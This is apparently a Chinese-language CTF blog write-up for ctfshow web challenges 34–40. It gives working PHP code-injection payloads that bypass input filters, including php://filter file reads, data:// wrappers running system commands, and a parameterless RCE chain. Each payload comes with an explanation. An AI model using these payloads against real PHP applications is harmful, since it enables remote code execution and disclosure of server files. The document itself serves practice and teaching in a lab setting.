ctfshow[Web入门(34-40)]

Web入门34-40

Web34

1、和前面两题一样,不过多解释,用前面的payload即可

?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

2、得到base64编码出来的flag.php文件信息,解码得flag

flag=”ctfshow{17ae3a54-5107-4739-97ac-d9a740558a80}”

Web35

1、同前3题一样,不解释,看第32题的详细解析

?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

2、得到base64编码出来的flag.php文件信息,解码得flag

flag=”ctfshow{211ce6f8-dcb2-495d-9ffe-9cc94d47e128}”

Web36

1、这道题过滤多了几个,导致我们前面用的payload失效了

2、分析怎么绕过,发现我们的数字被禁用了,那我们将之前我们的变量名1改为字母就好了,只要是没被禁用的,我们都可以用来作变量名

?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

3、通过注入得到base64编码的flag.php文件信息,解码得flag

flag=”ctfshow{0dd9bfbb-0cb8-4f4e-8b92-40d16aba3316}”

Web37

1、看到题目,这道题可以直接输出flag.php,但同时完整的flag会被过滤,而且不区分大小写,只要不是完整的注入flag就好了

?c=system("cat fla*g.php | grep -E 'fl.g'");

发现无法出来flag,有可能是额外过滤 cat(或 system|cat|sort|head|tail 等命令)

2、那么常规的方法是不行的,我们换一种过滤方法,利用伪协议,绕过过滤

?c=data://text/plain,<?php system("tac fla*.php");?>

代码解释:

data:// //php支持的伪协议之一,告诉了php接下来的内容不是文件路径,而是直接提供数据

text/plain //表示纯文本内容

, //前面是协议的头部,接下来是内容

system("tac fla*.php") //执行系统的命令,利用tac反向读取文件,cat是正常我们逐字逐句的读,但是tac是从后面向前面读,fla*.php的*通配符可以匹配flag.php

由于php识别到data://伪协议认为后面的是文本形式的内容,直接读取了,include将内容引入到当前的脚本进行执行,我们就能得到flag了

flag=“ctfshow{50274800-8639-428c-b4d3-b285850aa1ef}”

Web38

1、在37题的基础上增加了过滤php,那么我们的上一个payload已经失效了,我们需要不包含php的payload

payload如下:

?c=data://text/plain,<?=system("tac fl*.*");?>

代码解释:

data:// //php支持的伪协议之一,告诉了php接下来的内容不是文件路径,而是直接提供数据

text/plain //表示纯文本内容

, //前面是协议的头部,接下来是内容

<?= //php短标签的echo简写形式,就是<?php echo,短且隐蔽,不过生产环境不建议这么写

system("tac fl*.*") //执行系统命令,system()是系统命令函数,tac是系统命令,利用*通配符代替了完整的flag.php

2、php识别到了data://协议,将后面的内容当成文件内容读取,因为incloude的原因,php会执行这段payload

flag=”ctfshow{ce5fd0c3-6f6f-481e-b31d-95079ada8509}”

Web39

1、看到题目,后面会强制加一个.php,其实这没什么影响,用上一题的payload即可

?c=data://text/plain,<?=system("tac fla*.*") ;?>

2、如果怕影响,可以再后面加一个注释//,但是这道题没影响,可以不用

?c=data://text/plain,<?=system("tac fla*.* //") ;?>

这是一个常见的绕过技巧,主要怕后面有什么奇怪字符可能触发规则,加了//避免了.php的干扰,

3、注入后得flag

flag=”ctfshow{ed725056-f8b5-4500-aa65-fb8e5cc125a0}”

Web40

1、看题目,除了|字母|_|下划线|空格|()(英文的括号)|没过滤,其余全部过滤了,过滤严格

2、其实看到这题我已经有点死了,过滤的基本就剩个字母可以用了,参考了无参数rce得出了payload

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

payload解释:

//从最里面往外读

localeconv() //返回一个关联数组,里面有各种货币/数字格式信息  
//返回类似这样的数组:['decimal_point'=>'.', 'thousands_sep'=>',', ...]

pos(localeconv()) //返回数组的第一个元素  
//在大多数 PHP 版本里,第一个元素是 decimal_point → 通常是字符串 "."

scandir(pos(localeconv())) //scandir(".") → 扫描当前目录的所有文件/文件夹  
//返回当前目录文件列表数组,例如:['.', '..', 'index.php', 'flag.php']

array_reverse(...) //把数组倒序  
//结果变成:['flag.php', 'index.php', '..', '.'](假设 flag.php 是最后一个文件)

next(...) //取出数组的下一个元素(指针后移)  
//因为 array_reverse 后指针在第一个元素,next 取出第二个元素 → 很可能就是 flag.php

show_source(...) //高亮显示并输出指定文件的内容  
//把 flag.php 的源码以高亮形式输出到页面(flag 就直接可见了)

3、注入后得到flag

flag=”ctfshow{94ee3fc8-c017-4a3a-9546-510d3e246350}”

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇